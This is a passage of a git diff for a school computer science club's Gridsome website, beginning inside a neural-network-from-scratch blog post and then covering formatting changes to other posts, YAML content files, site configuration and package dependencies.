np.matmul((self.a_2-y).T,np.diag(self.sigmoid_derivative(self.z_2).reshape(1))) + dcdb_1 = dcdz_2 + dcdw_1 = np.matmul(self.a_1, dcdz_2) + + dcda_1 = np.matmul(dcdz_2, self.W_1) + dcdz_1 = np.matmul(dcda_1, np.diag(self.sigmoid_derivative(self.z_1).reshape(3))) + dcdb_0 = dcdz_1 + dcdw_0 = np.matmul(self.a_0, dcdz_1) + + self.db_1 = dcdb_1.T + self.dw_1 = dcdw_1.T + self.db_0 = dcdb_0.T + self.dw_0 = dcdw_0.T +``` + +Next I program gradient descent. There are 3 kinds of gradient descent when there are multiple datapoints, Stochastic, Batch and Mini-Batch. In Stochastic Gradient Descent (SGD), the weights are updated after a single sample is run. This will obviously cause your step towards the ideal value be very chaotic. In Batch Gradient Descent, the weights are updated after every sample is run, and the net step is the sum/average of all the $\nabla F(x)$, which is less chaotic, but steps are less frequent. + +Of course, in real life, we can never know which algorithm is better without making an assumption about the data. (No Free Lunch Theorem) A good compromise is Mini-Batch Gradient Descent, which is like Batch Gradient Descent but use smaller chunks of all the datapoints every step. In this case, I use Batch Gradient Descent. + +```python +nndata = NNdata() +learning_rate = 0.1 +for i in range(10000): + db_1_batch = [] + dw_1_batch = [] + db_0_batch = [] + dw_0_batch = [] + c = [] + for j in range(4): + nndata.feed_forward(data[j][0]) + c.append(nndata.loss(data[j][1])) + nndata.back_prop(data[j][1]) + db_1_batch.append(nndata.db_1) + dw_1_batch.append(nndata.dw_1) + db_0_batch.append(nndata.db_0) + dw_0_batch.append(nndata.dw_0) + if((i+1) % 1000 == 0): + print("loss (%d/10000): %.3f" % (i+1, sum(c)/4)) + nndata.b_1 -= learning_rate * sum(db_1_batch) + nndata.W_1 -= learning_rate * sum(dw_1_batch) + nndata.b_0 -= learning_rate * sum(db_0_batch) + nndata.W_0 -= learning_rate * sum(dw_0_batch) +``` + +Output resource: + +``` +loss (1000/10000): 0.245 +loss (2000/10000): 0.186 +loss (3000/10000): 0.029 +loss (4000/10000): 0.007 +loss (5000/10000): 0.003 +loss (6000/10000): 0.002 +loss (7000/10000): 0.002 +loss (8000/10000): 0.001 +loss (9000/10000): 0.001 +loss (10000/10000): 0.001 +``` + +Voila! We have officially programmed Neural Networks from scratch. Pat yourself on the back for reading through this. And of course, if you bothered to code this out, try porting it over to different languages like Java, JS or even C (yikes why would [anyone](https://github.com/terminalai/neuralC) subjects themselves to that?). + +In the next part, it is time for the actual hard part. Good luck! + +## References + +A lot of people think I just collated a bunch of sources and rephrased, and honestly I walked into writing this thinking I would be doing just that. The problem is that many sources who have attempted to do this, only cover the single to multi-perceptron layer case and not the multi to multi-perceptron case. Which is pretty sad. The true math is hidden behind mountains of research papers that loosely connect to give the results of this blogpot which I am too incomponent to connect by myself. So, I just did the math myself. (The math may not be presented in this way but it works so it should be correct) Yes, it was a bit crazy, and it destroyed me to my core. This was a great character building moment for me. So these are the actual sources: + +- https://numpy.org/ +- https://en.wikipedia.org/wiki/Gradient_descent +- https://en.wikipedia.org/wiki/Matrix_calculus +- https://en.wikipedia.org/wiki/Tensor_calculus +- https://en.wikipedia.org/wiki/Ricci_calculus +- https://en.wikipedia.org/wiki/XNOR_gate +- CS5131 Notes (Special thanks to Mr Chua and Mr Ng) + +
+ +(Excruciatingly edited by Prannaya) diff --git a/content/blog/nfc-tags/2024 Appventure Y1 Initiation Gifts - NFC Tags, and how to use them.md b/content/blog/nfc-tags/nfc-tags.md similarity index 86% rename from content/blog/nfc-tags/2024 Appventure Y1 Initiation Gifts - NFC Tags, and how to use them.md rename to content/blog/nfc-tags/nfc-tags.md index a387e67..fda2ed7 100644 --- a/content/blog/nfc-tags/2024 Appventure Y1 Initiation Gifts - NFC Tags, and how to use them.md +++ b/content/blog/nfc-tags/nfc-tags.md @@ -12,9 +12,9 @@ _by **AppVenture**, NUSH's Computer Science Interest Group_ ## Hi! -Welcome to NUS High! We are AppVenture, NUSH's Computer Science Interest Group. Come down to our booth during IG Fair to learn more about us, and follow us on Instagram at **[@appventure\_nush](https://www.instagram.com/appventure_nush)** for interesting posts about computer science! +Welcome to NUS High! We are AppVenture, NUSH's Computer Science Interest Group. Come down to our booth during IG Fair to learn more about us, and follow us on Instagram at **[@appventure_nush](https://www.instagram.com/appventure_nush)** for interesting posts about computer science! -Or: browse this current website you are on, [nush.app](https://nush.app/), which is made and maintained by our members! +Or: browse this current website you are on, [nush.app](https://nush.app/), which is made and maintained by our members! ## What are NFC Tags? @@ -46,27 +46,29 @@ Download the app "_NFC TagWriter by NXP_". There are other NFC tag apps you can ![Tagwriter](./tagwriter.png) **The app has the below functions:** + - _Read tags_ – reads the content of the tag. Useful to check what information an unknown tag stores, and see if it's malicious or not - **_Write tags_** – what we want to do. Writes new instructions/information to the tag. - _Erase tags_ – erases the contents of a tag -- _Protect tags_ – sets a password on your tag to prevent anyone from just overwriting it, hence "protecting" it. +- _Protect tags_ – sets a password on your tag to prevent anyone from just overwriting it, hence "protecting" it. _**Warning**: once you "lock" your tag (not "protect"), nobody (not even you) can write it again, and it will be read-only, so **do not lock your tag** unless you are very sure that you never want to edit it again!_ If you're a fan of long PDFs, you can also refer to the official documentation [here](https://inspire.nxp.com/tagwriter/tag-writer-user-manual.pdf), for more advanced functionalities. If there's any feature you don't understand, we encourage you to search it online and find out for yourself! ### Simple writing guide + Open TagWriter, and you should see the below screen. ![Tagwriter Home Page](./tagwriter_home.png) "Dataset" refers to the instructions you want to give your NFC tag. The app automatically saves prior instructions in "My datasets". 1. Press "Write tags", then press "New dataset" to start writing to your NFC tag. - ![Tagwriter Write Screen](./tagwriter_write_1.jpg) + ![Tagwriter Write Screen](./tagwriter_write_1.jpg) 2. Choose what to write from a variety of options, and enjoy! - ![Tagwriter Write 2](./tagwriter_write_2.jpg) + ![Tagwriter Write 2](./tagwriter_write_2.jpg) -If you have any queries or still can't get it to work, you can DM **[@appventure\_nush](https://www.instagram.com/appventure_nush)** on Instagram or email us at [appventure@nushigh.edu.sg](mailto:appventure@nushigh.edu.sg), or come to our booth during IG Fair! Tag us on Instagram to showcase your creative applications, or tell us during IG Fair :) +If you have any queries or still can't get it to work, you can DM **[@appventure_nush](https://www.instagram.com/appventure_nush)** on Instagram or email us at [appventure@nushigh.edu.sg](mailto:appventure@nushigh.edu.sg), or come to our booth during IG Fair! Tag us on Instagram to showcase your creative applications, or tell us during IG Fair :) We hope you will explore more about NFC tags and use this NFC tag creatively. After all, experiment, explore, excel! @@ -74,4 +76,4 @@ Signing off,
AppVenture Exco 2024
![AppVenture Logo](./appventure_logo.svg){.left-align width=50} -*The tags are [here](https://www.amazon.sg/MATCHEASY-Waterproof-Rewritable-Compatible-Rectangular/dp/B0BZHZN7XM/ref=sr_1_3_sspa?adgrpid=98545307246&hvadid=587467106582&hvdev=c&hvlocphy=9062518&hvnetw=g&hvqmt=b&hvrand=11534621183993269782&hvtargid=kwd-299920919263&hydadcr=7631_340284&keywords=nfc%2B215&qid=1700834499&sr=8-3-spons&sp_csd=d2lkZ2V0TmFtZT1zcF9hdGY&th=1) if you want more product information.* +_The tags are [here](https://www.amazon.sg/MATCHEASY-Waterproof-Rewritable-Compatible-Rectangular/dp/B0BZHZN7XM/ref=sr_1_3_sspa?adgrpid=98545307246&hvadid=587467106582&hvdev=c&hvlocphy=9062518&hvnetw=g&hvqmt=b&hvrand=11534621183993269782&hvtargid=kwd-299920919263&hydadcr=7631_340284&keywords=nfc%2B215&qid=1700834499&sr=8-3-spons&sp_csd=d2lkZ2V0TmFtZT1zcF9hdGY&th=1) if you want more product information._ diff --git a/content/blog/picking-right-cloud-service/Picking the right cloud service provider.md b/content/blog/picking-right-cloud-service/Picking the right cloud service provider.md index eb6c104..34f399b 100644 --- a/content/blog/picking-right-cloud-service/Picking the right cloud service provider.md +++ b/content/blog/picking-right-cloud-service/Picking the right cloud service provider.md @@ -17,17 +17,20 @@ If you've had to look for an online host for: or other usecases, then it can be hard to choose which service to use, especially for the thinking self-hoster wishing optimize their productivity. In fact, here is the list of cloud services I'll be covering in this post alone. **Static webhosts** + - Vercel - Netlify - Surge.sh - Github pages (+ Github actions) **Big Cloud** + - Amazon Web Services (AWS) - Google Cloud Products (GCP) -- Oracle Cloud +- Oracle Cloud + +**Independent Virtual Private Server (VPS) Providers** -**Independent Virtual Private Server (VPS) Providers** - DigitalOcean - Linode - Vultr @@ -44,12 +47,10 @@ To setup your own server, login to your oracle cloud dashboard and click on **Cr ## DigitalOcean -Although not as good of a deal as Oracle's, through the GitHub student pack you can redeem \$100 of DigitalOcean credits which last indefinitely, unlike the "\$100 for 3 months" offers available by scouring for referral links online. With the [updated pricing](https://www.digitalocean.com/try/new-pricing) (billing is per hour), this will get you a 1GB server for 16 months or a 2GB server for 8 months. Alternatively, if you just want to blow it on compute resources (max. 8GB unless you request for 16GB or the specialized droplets), then you might as well just use referral links. - +Although not as good of a deal as Oracle's, through the GitHub student pack you can redeem \$100 of DigitalOcean credits which last indefinitely, unlike the "\$100 for 3 months" offers available by scouring for referral links online. With the [updated pricing](https://www.digitalocean.com/try/new-pricing) (billing is per hour), this will get you a 1GB server for 16 months or a 2GB server for 8 months. Alternatively, if you just want to blow it on compute resources (max. 8GB unless you request for 16GB or the specialized droplets), then you might as well just use referral links. ![DigitalOcean pricing](./dg.png) - # Other VPS services ## Linode & Vultr @@ -80,7 +81,6 @@ GCP stands out with its generous 90-day \$300USD (\$400SGD) free trial, and is v I had a projected where I needed to run some CPU-intensive physics simulations. My team was on a tight schedule with the deadline in only a few days and we output from a few thousand runs of the simulation. First, we ran it on a GCP instance with 24 E2 processors, with every other relevant setting maxed out. But while a single run on a regular computer would take 2m5s for 1 run and 5m21s for 12 runs with multithreading, only 100 runs were completed in 10 hours overnight on the GCP instance. Maybe its cause as Google put it, "E2s fire in bursts" so we tried 8 C2s then 8 N1s instead, but it didn't help. The following graph shows the peak in CPU usage when the script running the simulation is first started, and how CPU goes to zero and stays there after a while. - ![GCP CPU Usage](./cpuusage.png) In the end, a humble 8GB digitalocean server finished 1.3k runs in 13 hours. A fair improvement. @@ -103,11 +103,11 @@ To summarize, we will now go over some specific usecases. > I want to host a static (generated) website. -If you have a simple HTML5 site you want to quickly deploy, then surge.sh is a service that allows you to quickly host it with a domain like ```victorious-drain.surge.sh```. +If you have a simple HTML5 site you want to quickly deploy, then surge.sh is a service that allows you to quickly host it with a domain like `victorious-drain.surge.sh`. For anything more than that, there's either hosting it on Github Pages or a service like Vercel or Netlify. Github Pages has neat features like extended support for Jekyll apps (which are pretty cool) and even statically generated website (e.g. Hugo, Next.js apps) can be hosted on Github Pages using community-made Github Actions. Github Pages domains are also less shady. But there are some minor annoyances like the interface being rudimentary and thus it can be hard to troubleshoot issues with custom domain names or building a project properly. -Netlify and Vercel is also quick to use and are more full-fledged hosting services. All you have to do is link your Github repository and it will take care of parsing the web framework, building and deploying. Vercel domains look like ```custom-name.vercel.app``` while netlify domains look like ```custom-name.netlify.app```. Vercel also has site analytics which Netlify locks behind a steep paywall. +Netlify and Vercel is also quick to use and are more full-fledged hosting services. All you have to do is link your Github repository and it will take care of parsing the web framework, building and deploying. Vercel domains look like `custom-name.vercel.app` while netlify domains look like `custom-name.netlify.app`. Vercel also has site analytics which Netlify locks behind a steep paywall. tl;dr Use Vercel @@ -125,4 +125,4 @@ Find referral links online for DigitalOcean (90-day \$100), Linode (60-day \$100 # Epilogue: Why bother? -Leveraging cloud services and exploiting the generosity of crazy big cloud providers lends itself well to the spirit of hacker culture, that is to say, the DIY ethic and finding creative or elaborate solutions to minor inconveniences. I've tried hooking up my Wolfram Mathematica client to cloud compute server with Wolfram Language, or using [xming](https://sourceforge.net/projects/xming/) to interface with COMSOL hosted somewhere else (this didn't work). I could stay and preach the value and satisfaction of self-hosting but I'll save it for another post. If you have anything you'd like to share regarding your experiences with cloud hosting, message me on discord at ```meecrob/hash/8207``` or be sure to share it in the AppVenture server. +Leveraging cloud services and exploiting the generosity of crazy big cloud providers lends itself well to the spirit of hacker culture, that is to say, the DIY ethic and finding creative or elaborate solutions to minor inconveniences. I've tried hooking up my Wolfram Mathematica client to cloud compute server with Wolfram Language, or using [xming](https://sourceforge.net/projects/xming/) to interface with COMSOL hosted somewhere else (this didn't work). I could stay and preach the value and satisfaction of self-hosting but I'll save it for another post. If you have anything you'd like to share regarding your experiences with cloud hosting, message me on discord at `meecrob/hash/8207` or be sure to share it in the AppVenture server. diff --git a/content/contributors/contributors.yaml b/content/contributors/contributors.yaml index e1a08db..3daa487 100644 --- a/content/contributors/contributors.yaml +++ b/content/contributors/contributors.yaml @@ -1,6 +1,6 @@ - id: codybarr name: Cody Barr -# To ensure support for local avatar object is still in schema with existing code + # To ensure support for local avatar object is still in schema with existing code avatar: ./images/placeholder.png bio: I enjoy long walks off something something quote: hi @@ -26,66 +26,51 @@ - id: jamesc name: James Chin Jia Jun - - id: ihurt name: Tan I-hur - - id: xuant name: Teh Xu An - - id: yeshuy name: Ye Yushi - - id: ethanyap name: Ethan Yap - - id: limheelai name: Lim Hee Lai - id: jianxic name: Chen Jianxi - - id: yujinl name: Li Yujin - - id: bohany name: Yu Bohan - - id: lyc name: Li Yue Chen - - id: leongys name: Leong Yu Siang - - id: zhaoyun name: Zhao Yun - - id: teewayne name: Tee Weile Wayne - - id: jingxuan name: Tay Jing Xuan - - id: ambrose name: Chua Chi Meng, Ambrose - - id: sanashwin name: Sanil Kumar Ashwin - - id: danlimhai name: Daniel Lim Hai @@ -181,5 +166,3 @@ - id: hugomaxlim name: Hugo Maximus Lim - - diff --git a/content/events/minictf/index.yaml b/content/events/minictf/index.yaml index b912475..f34f127 100644 --- a/content/events/minictf/index.yaml +++ b/content/events/minictf/index.yaml @@ -4,5 +4,5 @@ banner: ./placeholder.png description: A series of Cybersecurity Capture-the-Flag competitions held regularly for members to learn and pit their skills against one another. type: /Internal/Events tags: [ctf] -gallery: +gallery: - ./placeholder.png diff --git a/content/events/rosyth-workshop/index.yaml b/content/events/rosyth-workshop/index.yaml index 7498eb9..5bf8b6c 100644 --- a/content/events/rosyth-workshop/index.yaml +++ b/content/events/rosyth-workshop/index.yaml @@ -4,5 +4,5 @@ banner: ./placeholder.png description: Outreach programme students from Rosyth Primary School introducing NUS High's CS curriculum as well as Python programming with Microbit. type: /External/Workshop tags: [outreach] -gallery: +gallery: - ./placeholder.png diff --git a/content/events/steam-carnival/index.yaml b/content/events/steam-carnival/index.yaml index 35a5f66..df40b0b 100644 --- a/content/events/steam-carnival/index.yaml +++ b/content/events/steam-carnival/index.yaml @@ -4,5 +4,5 @@ banner: ./placeholder.png description: Yearly affair held in conjunction with the other student interest groups of NUS High with activities and workshops. type: /School/Events tags: [outreach] -gallery: +gallery: - ./placeholder.png diff --git a/content/projects/bus-timings/main.yaml b/content/projects/bus-timings/main.yaml index 528a0ee..54c3db9 100644 --- a/content/projects/bus-timings/main.yaml +++ b/content/projects/bus-timings/main.yaml @@ -4,7 +4,7 @@ thumbnail: ./thumb.jpg description: | The nush bus timings webpage is displayed on TV screens around the school to indicate bus arrival times. The data is retrieved real-time from the LTA API and shows arrival times of up to the next 3 buses in the 4 bus stops around the school. It also uses colour coding to display how occupied each bus is. created: - contributors: [jingxuan,teewayne] + contributors: [jingxuan, teewayne] year: 2017 maintained: - contributors: [ranen] diff --git a/content/projects/centros/main.yaml b/content/projects/centros/main.yaml index 0fe15fc..99456fb 100644 --- a/content/projects/centros/main.yaml +++ b/content/projects/centros/main.yaml @@ -9,7 +9,7 @@ created: type: /Module/Year-6 tags: [web] gallery: - - ./centros.png + - ./centros.png attachment: achievements: website: https://centros.nush.app/ diff --git a/content/projects/ch4/main.yaml b/content/projects/ch4/main.yaml index 3726511..7114543 100644 --- a/content/projects/ch4/main.yaml +++ b/content/projects/ch4/main.yaml @@ -2,7 +2,7 @@ id: ch4 name: CH4 thumbnail: ./thumb.png description: | - CH4 is an organic chemistry application intended to help students learn about organic chemistry and organic compounds via hands-on learning. It allows students to create organic molecules, learn about their properties and interact with them. Users can drag and drop atoms, form different types of bonds between them, use the app to determine their properties and experiment. + CH4 is an organic chemistry application intended to help students learn about organic chemistry and organic compounds via hands-on learning. It allows students to create organic molecules, learn about their properties and interact with them. Users can drag and drop atoms, form different types of bonds between them, use the app to determine their properties and experiment. created: contributors: [kaiwen] year: 2021 diff --git a/content/projects/commongoods/main.yaml b/content/projects/commongoods/main.yaml index ce8a1d2..8b58fe4 100644 --- a/content/projects/commongoods/main.yaml +++ b/content/projects/commongoods/main.yaml @@ -3,7 +3,7 @@ name: Commongoods thumbnail: ./cg1.png description: Running on the goodwill of the community, commongoods allows users to share non-essential items such as textbooks with each other. This is achieved by serving as a sharing platform to connect users with an item to those who need it. This will hopefully reduce wastage and foster the spirit of sharing, bringing the community together. created: - contributors: [ambrose,teewayne,danlimhai,sanashwin] + contributors: [ambrose, teewayne, danlimhai, sanashwin] type: /AppVenture/Community tags: [] gallery: diff --git a/content/projects/detectprompt/main.yaml b/content/projects/detectprompt/main.yaml index cb82959..033f862 100644 --- a/content/projects/detectprompt/main.yaml +++ b/content/projects/detectprompt/main.yaml @@ -4,12 +4,12 @@ thumbnail: ./detectprompt.png description: | With the rise of AI artists like DALL-E and Midjourney, the work of real artists are being devalued in today’s society. Thus, we created a detector to identify AI-generated images, based on images generated from Midjourney, to help consumers identify cheaply-made AI art from real artists’ work! Try it out with the QR code above! created: - contributors: [liuwenkai,kaiwen] + contributors: [liuwenkai, kaiwen] year: 2023 type: /Module/Year-5 tags: [web] gallery: - - ./detectprompt.png + - ./detectprompt.png achievements: attachment: website: https://squiddy.me/prompt-artistry diff --git a/content/projects/nush-bot/main.yaml b/content/projects/nush-bot/main.yaml index 8c272a4..4034fa0 100644 --- a/content/projects/nush-bot/main.yaml +++ b/content/projects/nush-bot/main.yaml @@ -9,4 +9,3 @@ tags: [web] gallery: - ./nushbot1.png - ./nushbot2.png - diff --git a/content/projects/nushchess/main.yaml b/content/projects/nushchess/main.yaml index f65ec79..c280c4b 100644 --- a/content/projects/nushchess/main.yaml +++ b/content/projects/nushchess/main.yaml @@ -4,7 +4,7 @@ thumbnail: ./nushchess.png description: | Do you enjoy chess, and do you enjoy coding? This is the game for you! created: - contributors: [stevecao,junron,javierlim] + contributors: [stevecao, junron, javierlim] year: 2022 type: /AppVenture/School tags: [web] diff --git a/content/projects/silver-helper/main.yaml b/content/projects/silver-helper/main.yaml index 0e623f1..5748ef8 100644 --- a/content/projects/silver-helper/main.yaml +++ b/content/projects/silver-helper/main.yaml @@ -2,8 +2,8 @@ id: silverhelper name: Silver Helper thumbnail: ./thumb.png description: Allows caregivers to keep track of the elderly via the various functionalities found within the app, such as location tracking, help calls and medication reminders. Also allows the elderly to use keep track of where they are, send out help signals and meet up with their friends to sing and dance. -created: - contributors: [royang,kylezheng,wangzhi] +created: + contributors: [royang, kylezheng, wangzhi] year: 2017 type: /Competition/Year-4 tags: [android] @@ -18,5 +18,5 @@ achievements: - Champion, i.code, 2017 - Most Positive Social Impact, i.code, 2017 attachment: -website: +website: featured: false diff --git a/content/projects/virtual-school-tour/main.yaml b/content/projects/virtual-school-tour/main.yaml index 63df57a..b65ffc3 100644 --- a/content/projects/virtual-school-tour/main.yaml +++ b/content/projects/virtual-school-tour/main.yaml @@ -1,6 +1,6 @@ id: virtual-school-tour name: Virtual School Tour -thumbnail: ./Thumbnail.png +thumbnail: ./Thumbnail.png description: | Can’t visit us due to Covid-19? Fret not! We bring our campus to you... The Virtual School Tour is an interactive guide, allowing all to come and experience NUS High from the comfort of your home. Listen to our student leaders as they show you around our campus. Now with 360 degree view! @@ -15,7 +15,7 @@ maintained: type: /AppVenture/School tags: [unity] gallery: - - ./matthew.png + - ./matthew.png - ./ICT lab.png - ./map.png - ./carlyne.png diff --git a/doc/archetypes/event.yaml b/doc/archetypes/event.yaml index a629e16..388d139 100644 --- a/doc/archetypes/event.yaml +++ b/doc/archetypes/event.yaml @@ -1,9 +1,9 @@ -id: -name: +id: +name: banner: ./file.xxx description: | ... type: /External/Workshop tags: [tagID] -gallery: +gallery: - ./file.xxx diff --git a/doc/archetypes/project.yaml b/doc/archetypes/project.yaml index a768353..b2728bc 100644 --- a/doc/archetypes/project.yaml +++ b/doc/archetypes/project.yaml @@ -1,5 +1,5 @@ -id: -name: +id: +name: thumbnail: ./file.xxx description: | long text diff --git a/doc/contributions.md b/doc/contributions.md index 3366d18..c2369a9 100644 --- a/doc/contributions.md +++ b/doc/contributions.md @@ -3,21 +3,21 @@ ## Some Gotchas 1. When linking images, use PNGs or SVGs, JPEGs and BMPs don't work sometimes. -1. Link images with a relative filepath with a dot as such: `![My image][./image.png]`. +1. Link images with a relative filepath with a dot as such: `![My image][./image.png]`. ## Contributor profile Sample contributor entry: `content/contributors/contributors.yaml` + ```yaml -... +--- - id: johndoe name: John Doe bio: A little bit about yourself quote: one fish, two fish, red fish, blue fish avatar: ./images/johndoe.png # will be replaced with boringavatars.com if unspecified -... ``` ## Blog posts @@ -25,22 +25,24 @@ Sample contributor entry: Sample markdown file preamble: `index.md` + ```yaml title: Say hello to Gridsome 👶🎉💚 slug: 2014-01-01-say-hello-to-gridsome author: [hjvedvik] date: 2018-10-10 excerpt: "A new static site generator baby is born. It's highly inspired by Gatsby.js (React based) but built on top of Vue.js. We have been working on it for a year and will have a beta ready soon. You can expect this baby to grow up fast!" -tags: [ctf,eso,toc] +tags: [ctf, eso, toc] ``` ## Tagging -Markdown files may be tagged by including an array of tag ids into the frontmatter. The list of existing tags and their ids can be found in ```content/tags/tags.yaml```. +Markdown files may be tagged by including an array of tag ids into the frontmatter. The list of existing tags and their ids can be found in `content/tags/tags.yaml`. Sample tag entry: `content/tags/tags.yaml` + ```yaml - id: android name: Android @@ -53,6 +55,7 @@ Sample tag entry: Sample Project entry: `content/projects/myProject/project.yaml` + ```yaml id: exam-display name: Exam Display @@ -68,12 +71,12 @@ gallery: - ./exam-display-1.jpeg ``` -- ```id```: Project name in lower snake-case. -- ```name```: Project name -- ```description```: Full description of the project -- ```type:```: Context of project. Can be ```/Module/Year N```, ```/Competition/...```, or ```/Appventure/...```. (To be defined). -- created: - - ```contributors```: Contributors who initiated the project. +- `id`: Project name in lower snake-case. +- `name`: Project name +- `description`: Full description of the project +- `type:`: Context of project. Can be `/Module/Year N`, `/Competition/...`, or `/Appventure/...`. (To be defined). +- created: + - `contributors`: Contributors who initiated the project. - maintained: Entries consist of a list of contributors and the year they were active. -- tags: Tags for the project. Refer to ```content/tags.yaml``` +- tags: Tags for the project. Refer to `content/tags.yaml` - gallery: List of images to be presented on carousel. diff --git a/docker-compose.yml b/docker-compose.yml index 8c75af5..9466c6d 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -2,7 +2,7 @@ version: "3.8" services: web: - build: + build: context: . args: - STATIC_URL=http://localhost:5001 @@ -11,7 +11,7 @@ services: depends_on: - static static: - build: + build: context: ./static-large ports: - - "5001:3000" \ No newline at end of file + - "5001:3000" diff --git a/gridsome.config.js b/gridsome.config.js index ba4135d..828c64d 100644 --- a/gridsome.config.js +++ b/gridsome.config.js @@ -1,11 +1,13 @@ -const path = require('path'); +const path = require("path"); +const marked = require("marked"); -function addStyleResource (rule) { - rule.use('style-resource') - .loader('style-resources-loader') +function addStyleResource(rule) { + rule + .use("style-resource") + .loader("style-resources-loader") .options({ patterns: [ - path.resolve(__dirname, './src/assets/styles/base/_variables.scss'), + path.resolve(__dirname, "./src/assets/styles/base/_variables.scss"), // you can also use a glob if you'd prefer //path.resolve(__dirname, './src/assets/styles/**/*.scss'), ], @@ -13,64 +15,72 @@ function addStyleResource (rule) { } module.exports = { - siteName: 'AppVenture', - icon: 'src/assets/favicon.png', + siteName: "AppVenture", + icon: "src/assets/favicon.png", plugins: [ - { use: 'gridsome-plugin-typescript' }, + { use: "gridsome-plugin-typescript" }, { - use: '@gridsome/source-filesystem', + use: "@gridsome/source-filesystem", options: { - typeName: 'BlogPost', - path: 'content/blog/**/*.md', + typeName: "BlogPost", + path: "content/blog/**/*.md", refs: { - author: 'Contributor', - tags: 'Tag', + author: "Contributor", + tags: "Tag", }, remark: { - plugins: [['@gridsome/remark-prismjs', {transformInlineCode: true}],'gridsome-remark-katex','remark-attr'], + plugins: [ + ["@gridsome/remark-prismjs", { transformInlineCode: true }], + "gridsome-remark-katex", + "remark-attr", + ], }, }, }, { - use: '@gridsome/source-filesystem', + use: "@gridsome/source-filesystem", options: { - typeName: 'Event', - path: 'content/events/**/*.yaml', + typeName: "Event", + path: "content/events/**/*.yaml", refs: { - tags: 'Tag', + tags: "Tag", }, }, }, { - use: '@gridsome/source-filesystem', + use: "@gridsome/source-filesystem", options: { - typeName: 'Project', - path: 'content/projects/**/*.yaml', + typeName: "Project", + path: "content/projects/**/*.yaml", refs: { - tags: 'Tag', - allContributors: 'Contributor', + tags: "Tag", + allContributors: "Contributor", }, }, }, { - use: 'gridsome-plugin-rss', + use: "gridsome-plugin-rss", options: { - contentTypeName: 'BlogPost', + contentTypeName: "BlogPost", latest: true, maxItems: 20, feedOptions: { - title: 'nush.app Blogposts', - description: 'Featuring student-written articles on programming and internal events', - feed_url: 'https://nush.app/rss.xml', - site_url: 'https://nush.app', - language: 'en', + title: "nush.app Blogposts", + description: + "Featuring student-written articles on programming and internal events", + feed_url: "https://nush.app/rss.xml", + site_url: "https://nush.app", + language: "en", }, feedItemOptions: (node) => { - const url = `https://nush.app/blog/${node.date.getFullYear()}/${String(node.date.getMonth() + 1).padStart(2,'0')}/${String(node.date.getDate()).padStart(2,'0')}/${node.slug}`; - const marked = require('marked') + const url = `https://nush.app/blog/${node.date.getFullYear()}/${String( + node.date.getMonth() + 1, + ).padStart(2, "0")}/${String(node.date.getDate()).padStart(2, "0")}/${ + node.slug + }`; return { title: node.title, description: marked.parse(node.content), @@ -81,26 +91,25 @@ module.exports = { }; }, output: { - dir: './dist', - name: 'rss.xml' - } - } - } - + dir: "./dist", + name: "rss.xml", + }, + }, + }, ], templates: { - BlogPost: '/blog/:year/:month/:day/:slug', - Contributor: '/contributor/:id', - Event: '/events/:id', - Project: '/projects/:id', + BlogPost: "/blog/:year/:month/:day/:slug", + Contributor: "/contributor/:id", + Event: "/events/:id", + Project: "/projects/:id", }, - chainWebpack (config) { + chainWebpack(config) { // Load variables for all vue-files - const types = ['vue-modules', 'vue', 'normal-modules', 'normal']; + const types = ["vue-modules", "vue", "normal-modules", "normal"]; // or if you use scss types.forEach((type) => { - addStyleResource(config.module.rule('scss').oneOf(type)); + addStyleResource(config.module.rule("scss").oneOf(type)); }); }, }; diff --git a/gridsome.server.js b/gridsome.server.js index 91beaee..4035deb 100644 --- a/gridsome.server.js +++ b/gridsome.server.js @@ -1,6 +1,6 @@ -const path = require('path') -const fs = require('fs-extra') -const yaml = require('js-yaml') +const path = require("path"); +const fs = require("fs/promises"); +const yaml = require("js-yaml"); module.exports = function (api) { api.loadSource(async (store) => { @@ -15,37 +15,41 @@ module.exports = function (api) { created: Contribution maintained: [Contribution] } - `) + `); // contributors - const authorsPath = path.join(__dirname, 'content/contributors/contributors.yaml'); - const authorsRaw = await fs.readFile(authorsPath, 'utf8'); + const authorsPath = path.join( + __dirname, + "content/contributors/contributors.yaml", + ); + const authorsRaw = await fs.readFile(authorsPath, "utf8"); const authorsJson = yaml.load(authorsRaw); - const authors = store.addCollection('Contributor'); + const authors = store.addCollection("Contributor"); - - authorsJson.forEach(({id,avatar,...fields }) => { - avatar = (!avatar) ? `https://source.boringavatars.com/pixel/120/${id}?colors=009A90,333F48,41B883` : avatar; + authorsJson.forEach(({ id, avatar, ...fields }) => { + avatar = !avatar + ? `https://source.boringavatars.com/pixel/120/${id}?colors=009A90,333F48,41B883` + : avatar; authors.addNode({ id, avatar, internal: { - origin:authorsPath + origin: authorsPath, }, - ...fields + ...fields, }); }); // tagging - const tagsPath = path.join(__dirname, 'content/tags/tags.yaml'); - const tagsRaw = await fs.readFile(tagsPath, 'utf8'); + const tagsPath = path.join(__dirname, "content/tags/tags.yaml"); + const tagsRaw = await fs.readFile(tagsPath, "utf8"); const tagsJson = yaml.load(tagsRaw); - const tags = store.addCollection('Tag'); + const tags = store.addCollection("Tag"); - tagsJson.forEach(({id,...fields}) => { + tagsJson.forEach(({ id, ...fields }) => { tags.addNode({ id, - ...fields + ...fields, }); }); }); diff --git a/package.json b/package.json index d4e0116..88f64b2 100644 --- a/package.json +++ b/package.json @@ -5,7 +5,6 @@ "build": "gridsome build", "develop": "gridsome develop", "explore": "gridsome explore", - "genrss": "node scripts/generaterss.js", "lint:check": "eslint --ext .ts,.vue ./src", "lint:fix": "yarn lint:check --fix" }, @@ -27,12 +26,15 @@ "infinite-loading": "^0.2.8", "lodash": "^4.17.21", "remark-attr": "^0.11.1", + "remark-parse": "^6.0.0", "sass": "^1.35.2", "sweetalert2": "^11.3.0", + "vue": "^2.6.10", "vue-feather-icons": "^5.1.0", "vue-infinite-loading": "^2.4.5", "vue-multiselect": "^2.1.6", - "vue-property-decorator": "^8.2.0" + "vue-property-decorator": "^8.2.0", + "webpack": "^4.29.3" }, "devDependencies": { "@gridsome/remark-prismjs": "^0.5.0", @@ -40,26 +42,25 @@ "@gridsome/transformer-remark": "^0.6.4", "@types/fuse": "^2.6.0", "@types/lodash": "^4.14.177", - "@typescript-eslint/eslint-plugin": "^1.11.0", - "@typescript-eslint/parser": "^1.11.0", - "eslint": "^5.0.0", - "eslint-config-standard": "^12.0.0", + "@types/node": "^16.0.0", + "@typescript-eslint/eslint-plugin": "^6.0.0", + "@typescript-eslint/parser": "^6.0.0", + "eslint": "^7.0.0", + "eslint-config-standard": "^16.0.0", "eslint-plugin-import": "^2.18.0", - 